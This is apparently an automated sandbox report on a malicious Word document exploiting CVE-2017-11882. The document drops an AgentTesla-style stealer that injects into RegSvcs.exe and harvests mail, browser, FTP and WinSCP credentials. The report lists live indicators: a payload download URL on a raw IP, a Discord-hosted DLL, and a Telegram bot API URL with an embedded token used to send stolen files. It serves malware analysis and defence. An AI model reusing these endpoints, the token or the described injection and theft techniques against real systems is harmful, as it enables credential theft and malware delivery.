Source: Client.exe, 00000009.00000002.928225350.0000000000530000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: CdNzNYQSUljWcBlQqPDeHvVpwRwqGflvJnFDQLZGSGiFLHhruHXAHoctpsXQwaLozINpRhUfKShWMkeoEFQaeNzNYQSUljWcBlQqPDeHvVpwRwqGflvJnFDQLZGSGiFLHhruHXAHoctpsXQwaLozINpRhUfKShWMkeoEFQrhTNzNYQSUljWcBlQqPDeHvVpwRwqGflvJnFDQLZGSGiFLHhruHXAHoctpsXQwaLozINpRhUfKShWMkeoEFQemuNzNYQSUljWcBlQqPDeHvVpwRwqGflvJnFDQLZGSGiFLHhruHXAHoctpsXQwaLozINpRhUfKShWMkeoEFQseRNzNYQSUljWcBlQqPDeHvVpwRwqGflvJnFDQLZGSGiFLHhruHXAHoctpsXQwaLozINpRhUfKShWMkeoEFQ

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process queried: DebugPort
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\Client.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\Client.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\Client.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\Client.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 436000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 438000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 7EFDE008	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 436000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 438000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 7EFDE008	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 436000
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 438000
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 7EFDE008

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c%tmp%\Client.exe A C	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\Client.exe C:\Users\user\AppData\Local\Temp\Client.exe A C	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c%tmp%\Client.exe A C
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\Client.exe C:\Users\user\AppData\Local\Temp\Client.exe A C
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Client.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Client.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Client.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 9.2.Client.exe.3169510.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.Client.exe.3169510.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.932287438.0000000003109000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.932391087.0000000003169000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.926194509.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1003248820.00000000020EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.986609163.0000000002390000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1002709829.0000000002069000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.1192835288.0000000002279000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.986080759.0000000002309000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.1193449278.00000000022DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Client.exe PID: 2348, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 2656, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 2176, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 0000000F.00000002.1002709829.0000000002069000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.1192835288.0000000002279000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.986080759.0000000002309000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 2656, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 2176, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cookies.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Source: Yara match	File source: 0000000F.00000002.1002709829.0000000002069000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.1192835288.0000000002279000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.986080759.0000000002309000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 2656, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 2176, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 9.2.Client.exe.3169510.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.Client.exe.3169510.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.932287438.0000000003109000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.932391087.0000000003169000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.926194509.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1003248820.00000000020EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.986609163.0000000002390000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1002709829.0000000002069000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.1192835288.0000000002279000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.986080759.0000000002309000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.1193449278.00000000022DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Client.exe PID: 2348, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 2656, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 2176, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 0000000F.00000002.1002709829.0000000002069000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.1192835288.0000000002279000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.986080759.0000000002309000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 2656, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 2176, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	211 Windows Management Instrumentation	Path Interception	311 Process Injection	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Web Service	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	53 Exploitation for Client Execution	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Obfuscated Files or Information	11 Input Capture	114 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	Exfiltration Over Bluetooth	12 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	11 Software Packing	1 Credentials in Registry	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	11 Encrypted Channel	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Masquerading	NTDS	221 Security Software Discovery	Distributed Component Object Model	11 Input Capture	Scheduled Transfer	3 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Modify Registry	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	1 Clipboard Data	Data Transfer Size Limits	14 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	141 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	311 Process Injection	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ICPO07082299976.doc	73%	ReversingLabs	Document-Office.Exploit.CVE-2017-11882
ICPO07082299976.doc	100%	Avira	EXP/CVE-2017-11882.Gen

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{B571C632-7DEC-4279-BDFC-1CEF56BCD21F}.tmp	100%	Avira	EXP/CVE-2017-11882.Gen
C:\Users\user\AppData\Local\Temp\Client.exe	100%	Avira	HEUR/AGEN.1251478
C:\Users\user\AppData\Local\Temp\Client.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Client.exe	20%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla

Unpacked PE Files

Source	Detection	Scanner	Label	Download
10.0.RegSvcs.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen8	Download File
9.0.Client.exe.ac0000.0.unpack	100%	Avira	HEUR/AGEN.1251478	Download File
9.2.Client.exe.ac0000.1.unpack	100%	Avira	HEUR/AGEN.1202427	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www	0%	URL Reputation	safe
https://api.telegram.orgP	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://fWvVfB.com	0%	Avira URL Cloud	safe
https://api.ipify.org%%startupfolder%	0%	URL Reputation	safe
http://109.206.241.81/htdocs/eZYWw.exe	16%	Virustotal		Browse
http://109.206.241.81/htdocs/eZYWw.exe	100%	Avira URL Cloud	malware
http://ypWPmbJ0rAhp55WcExAk.org	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://DynDns.comDynDNSnamejidpasswordPsi/Psi	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://109.206.241.81P	0%	Avira URL Cloud	safe
https://api.ipify.org%	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cdn.discordapp.com	162.159.134.233	true	false		high
api.telegram.org	149.154.167.220	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdn.discordapp.com/attachments/1005703293437235255/1005705055426588785/RealProxyFlagsBadSignature.dll	false		high
http://109.206.241.81/htdocs/eZYWw.exe	true	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://api.telegram.org/bot5520247480:AAEoBq-eVV-KfON2FKSf_2riekCozVDdnus/sendDocument	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:HTTP/1.1	RegSvcs.exe, 0000000A.00000002.986080759.0000000002309000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1002709829.0000000002069000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1192835288.0000000002279000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://cdn.discordapp.com/attachments/1005703293437235255/1005705055426588785/RealProxyFlagsBadSign	Client.exe, 00000009.00000002.928299566.0000000002101000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000009.00000002.928058615.00000000003AF000.00000004.00000020.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984052209.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984634446.0000000002641000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001151669.000000000054D000.00000004.00000020.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001971815.000000000264B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org	RegSvcs.exe, 0000000A.00000002.987311161.0000000002420000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.987738034.0000000002481000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1004034491.0000000002182000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1194992268.00000000023F5000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1194461229.0000000002392000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.entrust.net/server1.crl0	Client.exe, 00000009.00000002.928094974.00000000003DD000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.989116143.0000000005870000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984052209.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1005830692.0000000006057000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001151669.000000000054D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1196914685.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.entrust.net03	Client.exe, 00000009.00000002.928094974.00000000003DD000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.989116143.0000000005870000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984052209.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1005830692.0000000006057000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001151669.000000000054D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1196914685.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www	RegSvcs.exe, 0000000A.00000002.986080759.0000000002309000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1002709829.0000000002069000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1192835288.0000000002279000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.orgP	RegSvcs.exe, 0000000A.00000002.987311161.0000000002420000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1004034491.0000000002182000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1194461229.0000000002392000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	Client.exe, 00000009.00000002.928094974.00000000003DD000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.989116143.0000000005870000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984052209.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1005830692.0000000006057000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001151669.000000000054D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1196914685.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	Client.exe, 00000009.00000002.928094974.00000000003DD000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.989116143.0000000005870000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984052209.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1005830692.0000000006057000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001151669.000000000054D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1196914685.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot5520247480:AAEoBq-eVV-KfON2FKSf_2riekCozVDdnus/	Client.exe, 00000009.00000002.932287438.0000000003109000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000009.00000002.932391087.0000000003169000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000000.926194509.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
